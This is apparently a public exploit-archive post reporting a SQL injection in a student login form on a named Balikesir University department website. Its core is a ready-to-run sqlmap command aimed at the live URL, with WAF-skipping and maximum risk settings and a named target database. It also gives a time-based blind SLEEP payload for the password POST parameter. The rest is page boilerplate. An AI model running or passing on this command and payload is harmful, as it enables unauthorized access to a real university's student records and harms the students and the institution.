Balikesir University SQL Injection Vulnerablity

2023.06.25

Xale (TR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

======================================================================================|
| # Title : Balikesir University SQL Injection Vulnerability |
| # Author : Xale |
| # Tested on : Kali Linux |
======================================================================================|
sqlmap payload : sqlmap -u "https://kimya.balikesir.edu.tr/KimyaBolumuNew/indexogr.php" --forms --skip-waf --risk=3 --level=5 --threads=7 --no-cast -D KimyaBolumu --tables
---
Parameter: Parola (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: TCKimlik=JqOY&Parola=' AND (SELECT 4080 FROM (SELECT(SLEEP(5)))WRtb) AND 'VNiD'='VNiD&GirisSekli=Ogrenci&giris=TAMAM
---
:=========================================================================================================================
=======================================================================================================================================

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Balikesir University SQL Injection Vulnerablity

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.